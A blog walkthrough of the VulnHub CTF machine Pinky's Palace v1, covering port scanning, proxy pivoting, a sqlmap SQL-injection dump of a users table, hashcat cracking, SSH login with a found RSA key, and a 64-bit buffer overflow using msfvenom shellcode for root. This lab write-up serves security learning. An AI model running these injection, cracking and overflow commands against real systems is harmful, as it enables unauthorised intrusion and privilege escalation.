CTF: Pinky’s Palace v1 – vulnhub CTF walkthrough

VM: https://www.vulnhub.com/entry/pinkys-palace-v2,229/
Author: Pink_Panther  (vulnhub)   @Pink_P4nther​​ (twitter)
Series: Pinky’s Palace
Difficulty: Beginner/Intermediate
Privilege Escalation: Intermediate/Advanced* 
Target IP: 10.0.0.5

Phase 1: Enumeration

# nmap -O -sT -sV -p- -T5 10.0.0.5 - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
# nmap -O -sT -sV -p- -T5 10.0.0.5
The full range nmap scan discovers three remotely accessible services:
 nginx web server on port 8080
 a squid proxy on port 31337
 a ssh daemon  on port 64666 Trying to enumerate the web server returns a forbidden 403 code:
403 forbidden - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
A 403 forbidden response on target Piny’s Palace v1
Trying to access any page on the web server returns a forbidden response which means that the configuration does not allow remote access to the contents. As squid is running on the target the next step is to try parse any requests go through it:
curl with squid proxy - accessing the server locally - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
# curl http://127.0.0.1:8080 -x 10.0.0.5:31337
Note that the IP to access the web server is 127.0.0.1. This is something important to be taken into consideration, as the server’s probably configured to allow access only from 127.0.0.1 or localhost. In case you try to access it via the server’s IP (in this case 10.0.0.5) you’d still get a forbidden response as it’s considered an access via remote IP to the squid’s configuration.  What the above command does is access the web server through its own internal loopback network (127.0.0.1) as the request is parsed via the server’s squid proxy service running on port 10.0.0.5:31337. This way curl actually initiates a connection to the squid server running 10.0.0.5:31337 which then requests the contents of the web server located at 127.0.0.1:8080 As there’s no robots.txt or any sitemap file on the server and the only information that the content on the front page provides is that it’s an HTTP File Server, the next step step is to run a directory bruteforcer pivoted through the squid proxy to discover any useful directories. Initially I tried running dirb using its common directory list, however it found nothing so I moved on to a bigger wordlist like the ones from dirbuster: 

Running dirb using a bigger wordlist - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
# dirb http://127.0.0.1:8080 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -p 10.0.0.5:31337

Of course, the connection has to be pivoted again through the server’s squid. What dirb discovered is a directory called “littlesecrets-main“:
Hidden web directory - littlesecrets-main - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
http://127.0.0.1:8080/littlesecrets-main/
Running dirb with even a bigger wordlist would show there’s an additional logs.php file within the directory, showing as a hint that the web server stores the each login attempt in a database, as well as an additional comment upon each login attempt should be noted stating “<!– Login Attempt Logged –>

Phase 2: Vulnerability Scan

Using sqlmap using the command below would enumerate the “users” table and provide two hashes (it takes a while for sqlmap to complete):
# sqlmap --proxy=http://10.0.0.5:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump users
Dumping users table via sqlmap - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
sqlmap – users table
There are two hashes, one of which could be easily cracked using hashcat. Also please note that I run sqlmap with –tables prior to running it with the –dump tables parameter to see what are the tables available. The vulnerability in the web application lies in the user agent with which the application is opened and it is vulnerable to a time-based sql-injection attack. 
# hashcat -a 0 -m 0 d60dffed7cc0d87e1f4a11aa06ca73af /usr/share/wordlists/rockyou.txt
hashcat cracking password for user "pinkymanage" - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
d60dffed7cc0d87e1f4a11aa06ca73af:3pinkysaf33pinkysaf3
So the password for user pinkymanage is 3pinkysaf33pinkysaf3 Trying to login to the web application using these credentials does nothing, however the same does not apply when trying to log in via ssh:
user pinkymanage - ssh - Pinkys-Palace-1-vulnhub-CTF-walkthrough-d7x-PromiseLabs-blog
Logging in to ssh pinkymanage : 3pinkysaf33pinkysaf3

Phase 3: Privilege Escalation

While enumerating the target server using pinkymanage‘s ssh the following two files can be noted in the /var/www/html/littlesecrets-main/ultrasecretadminf1l35 note.txt:
pinkymanage note.txt - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
/var/www/html/littlesecrets-main/ultrasecretadminf1l35/note.txt
.ultrasecret:
.ultrasecret - base64-encoded string - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
/var/www/html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret​
A message stating that there’s an RSA key hidden, and an .ultrasecret file containing an ASCII string, which is actually a base64-encoded string:
RSA Private key for user pinky - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
RSA Private key – user pinky?
Checking further the /etc/passwd file contents for users with a valid shell shows there are three users – root, pinky, and pinkymanage:
cat /etc/passwd | grep /bin/.*sh
/etc/passwd users - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
user “pinky” has a valid bash shell
The next step would be to try the RSA key to log in with the root user and with user pinky on the system – logging in as root would not work, however we are able to get privileges as user pinky:
user pinky - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
Getting privileges/Logging in as user pinky
Enumerating further pinky’s home directory would disclose note.txt file with explanation about a sudo application in progress and an adminhelper file with sgid bit set:
Pinky's home - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
Pinky’s home
The adminhelper application however is prone to a buffer overflow condition, due to the use of the strcpy function within its code:
pinky adminhelper - buffer overflow - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
# ./adminhelper `python -c ‘print “A”*200’`
Unfortunately I can’t explain the buffer overflow in details as I have no decent knowledge in buffer overflows in 64 bit applications (and the target is running a 64-bit OS) but I’ll still try to explain briefly what I learned. The buffer overflow condition occurs at byte offset 72 which I found just by tests and tapping enter. Running the application through gdb shows the RIP register is overflowed with the next 6 bytes of data passed right next to the offset, and the bytes prior to that are stored in RBP:
gdb --args ./adminhelper `python -c 'print "A"*72+"B"*6'`
gdb - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
gdb’s info registers
As a return address, just an environment variable could be used, as the application does not have any memory protection and always accesses environment variables via the same address. For a payload the msfvenom linux/x64/exec payload is used executing the /bin/dash (or bash/sh would work as well) command:
# msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'
As a bad characters I use all the terminating/newline feeds that could cause an interrupt signal in a shell. Now the syntax of the exploit becomes: ./adminhelper <bytestofillspace><returnaddress> whereas bytestofill space should be exactly 72 bytes which is the offset where the buffer overflow returns. As the server has random layout randomization disabled, the shellcode can be stored into an environment variable. Now for storing the shellcode into an environment variable the first thing that you would want is to Get environment variable addres The code from the above link is as following:
/* yaojingguo commented on Nov 8, 2016The code is from Page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition . */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}
  Gettung euid 0:
Privilege Escalation via a 64-bit buffer overflow exploitation on target Pinky's Palace v1 - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
Getting euid 0 on target Pinky’s Palace v1
And from here, you could either read the flag or escalate privileges to complete root using the code from my cheatsheet (for accessiblity you’ll have to compile it prior to running the exploit, or type exit and go back to compile it, otherwise you’ll be getting error messages from gcc due to the environment):  
uid=0(root) gid=0(root) - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
Getting root – Pinky’s Palace v1

Getting the flag - Pinky's Palace v1 - vulnhub CTF walkthrough - d7x - PromiseLabs - blog
Getting the flag – Pinky’s Palace v1